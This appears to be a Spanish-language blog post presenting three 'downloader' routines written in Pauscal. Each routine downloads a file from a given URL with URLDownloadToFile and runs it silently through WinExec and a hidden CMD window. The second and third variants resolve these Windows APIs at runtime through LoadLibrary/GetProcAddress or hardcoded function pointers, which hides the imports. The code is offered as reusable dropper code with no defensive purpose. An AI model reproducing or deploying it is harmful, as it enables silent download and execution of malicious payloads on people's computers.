Downloaders en Pauscal

20:57 0 Comments A+ a-


Ejemplos de Downloaders en Pauscal

Downloader #1
Con las tipicas apis de windows, usando WinExec en vez de ShellExecute.

Código: Text
  1. Proc URLDownloadToFile(:Entero,Referencia,:Cadena,,:Entero):Entero,"Urlmon.dll" "URLDownloadToFileA"
  2. Proc WinExec(Referencia lpCmdLine:Cadena,uCmdShow:Entero):Entero,"Kernel32.dll"
  3.  
  4. Proc Downloader_1(Referencia URL,Archivo:Cadena)
  5.         Si URLDownloadToFile(0,URL,Archivo,0,0) = 0 Entonces WinExec("CMD /D /C " + #34 + Archivo + #34,0)
  6. FinProc

Downloader #2
Usando las mismas apis, pero utilizando prototipos en vez de declaraciones, mas LoadLibrary y GetProcAdress.

Código: Text
  1. Prototipo URLDownloadToFile(,,,,:Entero):Entero
  2. Prototipo WinExec(,:Entero):Entero
  3.  
  4. Proc LoadLibrary(Referencia lpLibFileName:Cadena):Entero,"Kernel32" "LoadLibraryA"
  5. Proc GetProcAddress(hModule:Entero,Referencia lpProcName:Cadena):Entero,"Kernel32" "GetProcAddress"
  6. Proc FreeLibrary(hLibModule:Entero):Entero,"Kernel32.dll"
  7.  
  8. Proc Downloader_2(Referencia URL,Archivo:Cadena)
  9.         Var LibreriaPtr,ProcedimientoPtr:Entero
  10.         Var EnlaceAArchivo:UrlDownloadToFile
  11.         Var WinEjecutar:WinExec
  12.         Var UrlCheck:Entero
  13.         Var Comando:Cadena
  14.         Var @Ptr1,@Ptr2,@Ptr3:Entero
  15.         Comando = "CMD /D /C " + #34 + Archivo + #34
  16.         Ptr1@ = Url@                    ' Los prototipos deben enviar punteros a las cadenas como las llamadas originales.
  17.         Ptr2@ = Archivo@
  18.         Ptr3@ = Comando@
  19.         LibreriaPtr = LoadLibrary("Urlmon.dll")
  20.         Si LibreriaPtr = 0 Entonces Salir ' Si por alguna razon no  carga la libreria, salir del procedimiento.
  21.         ProcedimientoPtr = GetProcAddress(LibreriaPtr,"URLDownloadToFileA")
  22.         Si ProcedimientoPtr = 0 Entonces Salir ' Si no carga el proc de la api, salir.
  23.         FreeLibrary(LibreriaPtr) ' Liberamos la DLL.
  24.         EnlaceAArchivo@ = ProcedimientoPtr
  25.         Si EnlaceAArchivo(0,Ptr1,Ptr2,0,0) = 0 Entonces ' Establecemos los parametros y llamamos a la API.
  26.                 LibreriaPtr = LoadLibrary("Kernel32.dll")
  27.                 Si LibreriaPtr = 0 Entonces Salir ' Si por alguna razon no  carga la libreria, salir del procedimiento.
  28.                 ProcedimientoPtr = GetProcAddress(LibreriaPtr,"WinExec")
  29.                 Si ProcedimientoPtr = 0 Entonces Salir ' Si no carga el proc de la api, salir.
  30.                 WinEjecutar@ = ProcedimientoPtr
  31.                 WinEjecutar(Ptr3,0)
  32.                 FreeLibrary(LibreriaPtr) ' Liberamos la DLL.
  33.         FinSi
  34. FinProc

Downloader #3
ATENCIÓN! Este puede no funcionar en todos los sistemas operativos, basicamente es el código anterior, pero usamos los punteros a los procedimientos DIRECTAMENTE, sin obtenerlos mediante GetProcAddress.

Código: Text
  1. Prototipo URLDownloadToFile(,,,,:Entero):Entero
  2. Prototipo WinExec(,:Entero):Entero
  3.  
  4. Proc Downloader_3(Referencia URL,Archivo:Cadena)
  5.         Var LibreriaPtr,ProcedimientoPtr:Entero
  6.         Var EnlaceAArchivo:UrlDownloadToFile
  7.         Var WinEjecutar:WinExec
  8.         Var Comando:Cadena
  9.         Var @Ptr1,@Ptr2,@Ptr3:Entero
  10.         Comando = "CMD /D /C " + #34 + Archivo + #34
  11.         Ptr1@ = Url@
  12.         Ptr2@ = Archivo@
  13.         Ptr3@ = Comando@
  14.         EnlaceAArchivo@ = 1977837776
  15.         Si EnlaceAArchivo(0,Ptr1,Ptr2,0,0) = 0 Entonces
  16.                 WinEjecutar@ = 1881876227
  17.                 WinEjecutar(Ptr3,0)
  18.         FinSi
  19. FinProc

Autor: Yuki